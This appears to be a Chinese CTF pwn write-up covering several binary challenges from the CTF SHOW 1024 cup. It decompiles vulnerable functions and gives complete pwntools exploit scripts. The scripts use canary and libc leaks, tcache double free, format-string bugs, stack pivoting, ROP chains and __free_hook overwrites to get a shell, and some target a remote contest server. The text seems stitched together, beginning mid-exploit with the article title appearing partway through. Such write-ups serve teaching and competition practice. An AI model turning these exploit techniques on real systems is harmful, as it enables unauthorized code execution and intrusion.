== 1: ogg = 0x45226+libc_addr else: ogg = 0x45216+libc_addr修改返回地址为one_gadget,并覆盖后面的栈为0方便触发one_gadget。最终exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./mengxinstack') gdb.attach(r,'b * $rebase(0x9f1)') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28037) libc = ELF('./libc6_2.23-0ubuntu11_amd64.so') elf = ELF('./mengxinstack') r.sendline(cyclic(40)) r.recvuntil('jaaa') canary = u64(r.recv(8))-0xa log.success('canary:'+hex(canary)) stack = u64(r.recv(6)+'\x00\x00') log.success('stack:'+hex(stack)) if local ==1: r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13') else: r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03') r.send(cyclic(72)) r.recvuntil('raaa') lsmr = u64(r.recv(6)+'\x00\x00') if local == 1: lsmrp = 0x020840 else: lsmrp = 0x020830 libc_addr = lsmr - lsmrp log.success('libc_addr:'+hex(libc_addr)) if local == 1: ogg = 0x45226+libc_addr else: ogg = 0x45216+libc_addr r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+p64(ogg)+'\x00'*0x40) r.interactive()babyheap用ida加载，主函数为一个循环的函数实现堆功能，打开menu()函数查看该题功能只有增删查。__int64 menu() { puts("1.add"); puts("2.delete"); puts("3.show"); puts("4.exit"); printf(">>"); return readint(); }add()函数，无漏洞。int add() { signed int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 29; ++i ) { if ( !list[i] ) { list[i] = (char *)malloc(0x20uLL); printf("leave some message_of_your 36D:"); readn(list[i], 16LL); puts("ok\n"); return puts("Now you get your 36D which you want!\n"); } } return puts("Full!"); }delete()函数free后指针未置零，存在double free漏洞。int dele() { char *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("index:"); LODWORD(v0) = readint(); v2 = v0; if ( v0 >= 0 && v0 <= 29 ) { v0 = list[v0]; if ( v0 ) { free(list[v2]); puts("ok"); LODWORD(v0) = puts("you delete your 36D!\n"); } } return v0; }show()函数为直接puts堆地址数组指定位置的内容，不存在数组越界。int show() { char *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("index:"); LODWORD(v0) = readint(); v2 = v0; if ( v0 >= 0 && v0 <= 29 ) { v0 = list[v0]; if ( v0 ) LODWORD(v0) = puts(list[v2]); } return v0; }由于tcache机制，2.23和2.27的堆机制完全不同，double free的利用姿势也完全不同。如果连续释放两次一个堆块报错为2.23，没报错为2.27，触发double free detected为2.29+（新版2.27也有这个，建议18.04虚拟机不要乱更新，坑死我了）。先远程nc一下，连续free两次一个堆块程序正常执行，推测对方机器为2.27。checksec 发现该程序未开启PIE,可以直接修改堆地址数组泄露libc。ai@ai:~/桌面$ checksec babyheap [*] '/home/ai/桌面/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)利用tcache任意地址写到堆数组leak libc。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./babyheap') #gdb.attach(r,'b * realloc') #gdb.attach(r,'b * 0x4008a7') #gdb.attach(r,'b * 0x04009dd') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28070) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./babyheap') def add(content): r.recvuntil(">>") r.sendline("1") r.recvuntil("36D:") r.send(content) def show(index): r.recvuntil(">>") r.sendline("3") r.recvuntil("index:") r.sendline(str(index)) def dele(index): r.recvuntil(">>") r.sendline("2") r.recvuntil("index:") r.sendline(str(index)) puts_got = elf.got['puts'] add('a'*0x10) add('b'*0x10) add('c'*0x10) add('d'*0x10) add('e'*0x10) for i in range(8): dele(1) add(p64(0x602050)+'\n') add('a'*0x10+'\n') add(p64(puts_got)+'\n') show(0) puts = u64(r.recv(6)+'\x00\x00') log.success('puts'+hex(puts)) libc_addr = puts - libc.symbols['puts'] log.success('libc_addr'+hex(libc_addr)) r.interactive()利用double free任意地址写，覆盖__free_hookgetshell,2.27的堆地址，2.27堆寻址时只需要让fd为0即可，不需要对应堆头。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./babyheap') #gdb.attach(r,'b * realloc') #gdb.attach(r,'b * 0x4008a7') #gdb.attach(r,'b * 0x04009dd') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28070) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./babyheap') def add(content): r.recvuntil(">>") r.sendline("1") r.recvuntil("36D:") r.send(content) def show(index): r.recvuntil(">>") r.sendline("3") r.recvuntil("index:") r.sendline(str(index)) def dele(index): r.recvuntil(">>") r.sendline("2") r.recvuntil("index:") r.sendline(str(index)) puts_got = elf.got['puts'] add('a'*0x10) add('b'*0x10) add('c'*0x10) add('d'*0x10) add('e'*0x10) for i in range(8): dele(1) add(p64(0x602050)+'\n') add('a'*0x10+'\n') add(p64(puts_got)+'\n') show(0) puts = u64(r.recv(6)+'\x00\x00') log.success('puts'+hex(puts)) libc_addr = puts - libc.symbols['puts'] log.success('libc_addr'+hex(libc_addr)) malloc_hook = libc_addr + libc.symbols['__malloc_hook'] free_hook = libc_addr + libc.symbols['__free_hook'] log.success('free_hook'+hex(free_hook)) ogg = [libc_addr+0x4f2c5,libc_addr+0x4f322,libc_addr+0x10a38c] realloc = libc_addr+libc.symbols['realloc'] log.success('malloc_hook'+hex(malloc_hook)) dele(2) dele(3) dele(2) add(p64(free_hook-0x10)+'\n') add('z'*0x10) add('y'*0x10) print 'ok' add(p64(ogg[1])) r.recvuntil(">>") r.sendline("2") r.sendline("0") r.interactive()tang用ida加载，打开main()函数如下所示,末尾存在栈溢出漏洞，不过只能溢出一个字节。int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-50h] unsigned __int64 v5; // [rsp+38h] [rbp-18h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); lookhere(); puts(&byte_B80); read(0, &::buf, 0x190uLL); lookthere(); puts(asc_BA8); return read(0, &buf, 0x60uLL); }lookhere()函数存在格式化字符串漏洞。unsigned __int64 lookhere() { char buf; // [rsp+0h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts(&s); read(0, &buf, 5uLL); printf(&buf, &buf); return __readfsqword(0x28u) ^ v2; }lookhere()函数下的read()函数为向全局变量写入0x190个字符串，不存在栈溢出，可以将栈迁移到这里执行。lookthere()函数会将上次read()的前0x110地址覆盖为垃圾字符。void *lookthere() { return memcpy(&buf, &off_B78, 0x110uLL); }checksec分析，该程序三保护全开。[*] '/home/pwn/Desktop/bluehat2020/36d/tang' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled先利用格式化字符串泄露canary()，修改__libc_start_main_ret重启程序。r.send('%19$p') r.recvuntil('\n') canary = int(r.recv(18),16) log.success('canary:'+hex(canary)) r.sendline(cyclic(0x10)) r.recvuntil('...') if local ==1: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13') else: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03') sleep(1)再次泄露pie。r.send('%11$p') r.recvuntil('\n') r.recvuntil('\n') pie = int(r.recv(14),16)-0xa51 log.success('pie:'+hex(pie)) r.sendline(cyclic(0x10)) r.recvuntil('...') if local ==1: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13') else: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03') sleep(1)再次泄露libc地址，利用栈迁移跳到one_gadget合适区域getshell。最终exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./tang') gdb.attach(r,'b * $rebase(0xac6)') else: r=remote('111.231.70.44',28076) elf = ELF('./tang') r.send('%19$p') r.recvuntil('\n') canary = int(r.recv(18),16) log.success('canary:'+hex(canary)) r.sendline(cyclic(0x10)) r.recvuntil('...') if local ==1: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13') else: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03') sleep(1) r.send('%11$p') r.recvuntil('\n') r.recvuntil('\n') pie = int(r.recv(14),16)-0xa51 log.success('pie:'+hex(pie)) r.sendline(cyclic(0x10)) r.recvuntil('...') if local ==1: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13') else: r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03') sleep(1) r.recvuntil('\n') r.send('%23$p') r.recvuntil('\n') lsmr = int(r.recv(14),16) log.success('lsmr:'+hex(lsmr)) if local == 1: lsmrp = 0x020840 else: lsmrp = 0x020830 libc_addr = lsmr - lsmrp log.success('libc_addr:'+hex(libc_addr)) if local == 1: ogg = 0x4527a+libc_addr else: ogg = 0x4526a+libc_addr r.sendline(p64(pie+0x1040)+p64(ogg)+'z'*(0x170-7*0x10)+p64(pie+0x1040)+p64(ogg)) r.recvuntil('...') r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(pie+0x201150)+p64(pie+0x9ca)) r.interactive()
CTF SHOW 1024杯 PWN writeup难度很友好，萌新i了i了。1024_happy_checkin用ida加载程序，打开main()函数发现存在gets()函数。int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-370h] setvbuf(stdin, 0LL, 1, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("welcome_to_ctfshow_1024_cup,input_your_ticket"); gets(&s, 0LL); puts(&s); return 0; }推测该题为简单的x64程序栈溢出，利用gets()函数覆盖返回地址构造ROP链，exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 0 if local == 1: r=process('./checkin') gdb.attach(r,'b * 0x400672') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28091) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./checkin') main = elf.symbols['main'] puts = elf.symbols['puts'] rdi = 0x4006e3 ret = 0x4004c6 lsm = elf.got['__libc_start_main']\ r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main)) r.recvuntil('36D\n') libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main'] log.success('libc_addr:'+hex(libc_addr)) system = libc_addr + libc.symbols['system'] binsh = libc_addr + libc.search('/bin/sh').next() log.success('system:'+hex(system)) log.success('/bin/sh:'+hex(binsh)) r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main)) r.interactive()1024_happy_stack利用ida加载程序，发现main()存在gets()函数，但是在程序结束之前要经过ctfshow()函数的检测才能继续执行。main()函数int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-380h] int v5; // [rsp+37Ch] [rbp-4h] setvbuf(stdin, 0LL, 1, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("What kinds of girls do you like?\n"); puts("1.beautiful\n"); puts("2.lovely\n"); puts("3.no no ,I like boys\n"); puts("4.I only love qunzhu\n"); gets(&s, 0LL); v5 = ctfshow(&s); if ( v5 ) { puts("no,u dont\n"); exit(0); } puts("here you are\n"); puts(&s); return 0; }ctfshow()函数为对刚刚输入的字符串进行比较，可利用\x00截断绕过。__int64 __fastcall ctfshow(const char *a1) { return (unsigned int)strcmp(a1, "36D"); }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 0 if local == 1: r=process('./stack') gdb.attach(r,'b * 0x400793') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28033) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./stack') main = elf.symbols['main'] puts = elf.symbols['puts'] rdi = 0x400803 ret = 0x40028a lsm = elf.got['__libc_start_main'] r.recvuntil('qunzhu\n\n') r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main)) r.recvuntil('36D\n') libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main'] log.success('libc_addr:'+hex(libc_addr)) system = libc_addr + libc.symbols['system'] binsh = libc_addr + libc.search('/bin/sh').next() log.success('system:'+hex(system)) log.success('/bin/sh:'+hex(binsh)) r.recvuntil('qunzhu\n\n') r.sendline('36D\x00'+cyclic(892)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main)) r.interactive()1024_happy_unlink这道题我偷鸡了，虽然题目说用的unlink，但我没有用这个堆利用做的。用ida加载，打开main()函数。看结构为简易的堆题。void __fastcall main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi v3 = "Welcome To |>>CTFSHOW's Book Store<<|"; puts("Welcome To |>>CTFSHOW's Book Store<<|"); sub_400846(); while ( 1 ) { sub_4008A7(v3, a2); a2 = (char **)"please input your choice: "; v3 = "%s"; printf("%s", "please input your choice: "); switch ( (unsigned int)sub_4008E0() ) { case 1u: sub_400985(); break; case 2u: sub_400A12(); break; case 3u: sub_400A7E(); break; case 4u: sub_400AC1(); break; case 5u: exit(1); return; default: v3 = "Input Err.."; puts("Input Err.."); break; } } }其中目录函数为int sub_4008A7() { puts("1. Add book"); puts("2. Delete book"); puts("3. Show book"); puts("4. Edit book"); return puts("5. Leave Store"); }对应分别找到add()__int64 sub_400985() { int v0; // ST08_4 int v1; // ST0C_4 __int64 result; // rax printf("%s", "Plz Input idx: "); v0 = sub_4008E0(); printf("%s", "Plz Input size: "); v1 = sub_4008E0(); buf[2 * v0] = (char *)malloc(v1); result = 2 * v0 + 1; buf[result] = (char *)v1; return result; }delete()__int64 sub_400A12() { int v0; // ST0C_4 __int64 result; // rax printf("%s", "Plz Input idx: "); v0 = sub_4008E0(); free(buf[2 * v0]); buf[2 * v0] = 0LL; result = 2 * v0 + 1; buf[result] = 0LL; return result; }show()int sub_400A7E() { int v0; // ST0C_4 printf("%s", "Plz Input idx: "); v0 = sub_4008E0(); return puts(buf[2 * v0]); }edit()ssize_t sub_400AC1() { int v0; // eax int v1; // ST08_4 int v2; // ST0C_4 printf("%s", "Plz Input idx: "); v0 = sub_4008E0(); v1 = v0; v2 = (unsigned __int64)buf[2 * v0 + 1]; printf("%s", "Plz Input content: "); return read(0, buf[2 * v1], (unsigned int)(v2 + 8)); }这个程序并没有对堆块地址数组进行限制，存在数组溢出。在动态调试时发现-30位置存有地址指向-14的位置0x602000，而0x602000地址为可写，这样我们就可以实现任意地址读和任意地址写。0x601f00: 0x0000000000602000 0x0000000000000002 0x601f10: 0x00000000000000f0 0x0000000000000014 0x601f20: 0x0000000000000007 0x0000000000000017 0x601f30: 0x0000000000400578 0x0000000000000007 0x601f40: 0x0000000000400518 0x0000000000000008 0x601f50: 0x0000000000000060 0x0000000000000009 0x601f60: 0x0000000000000018 0x000000006ffffffe 0x601f70: 0x00000000004004e8 0x000000006fffffff 0x601f80: 0x0000000000000001 0x000000006ffffff0 0x601f90: 0x00000000004004c6 0x0000000000000000 0x601fa0: 0x0000000000000000 0x0000000000000000 0x601fb0: 0x0000000000000000 0x0000000000000000 0x601fc0: 0x0000000000000000 0x0000000000000000 0x601fd0: 0x0000000000000000 0x0000000000000000 0x601fe0: 0x0000000000000000 0x0000000000000000 0x601ff0: 0x0000000000000000 0x0000000000000000 0x602000: 0x0000000000601e28 0x00007f6572491168 0x602010: 0x00007f6572281f10 0x00000000004006a6 0x602020: 0x00007f6571f0f6a0 0x00000000004006c6 0x602030: 0x00007f6571ef5810 0x00007f6571f97310exp如下：#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./unlink') #gdb.attach(r,'b * malloc') #gdb.attach(r,'b * 0x4008a7') gdb.attach(r,'b * 0x400b35') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28047) libc = ELF('./libc6_2.23-0ubuntu10_amd64.so') elf = ELF('./unlink') def add(index,size): r.recvuntil("choice: ") r.sendline("1") r.recvuntil("idx:") r.sendline(str(index)) r.recvuntil("size:") r.sendline(str(size)) def edit(index,chat): r.recvuntil("choice: ") r.sendline("4") r.recvuntil("idx:") r.sendline(str(index)) r.recvuntil("content:") r.send(chat) def show(index): r.recvuntil("choice: ") r.sendline("3") r.recvuntil("idx: ") r.sendline(str(index)) def dele(index): r.recvuntil("choice: ") r.sendline("2") r.recvuntil("idx:") r.sendline(str(index)) puts_got = elf.got['puts'] add(0,0x58) add(1,0x58) add(2,0x58) edit(1,'/bin/sh') edit(-30,p16(0x20e0)) edit(-14,p64(puts_got)+p64(0x58)) show(0) puts = u64(r.recv(6)+2*'\x00') log.success('puts:'+hex(puts)) libc_addr = puts-libc.symbols['puts'] log.success('libc_addr:'+hex(libc_addr)) free_hook = libc_addr + libc.symbols['__free_hook'] system = libc_addr + libc.symbols['system'] log.success('free_hook:'+hex(free_hook)) log.success('system:'+hex(system)) edit(-14,p64(free_hook)+p64(0x58)) edit(0,p64(system)) dele(1) r.interactive()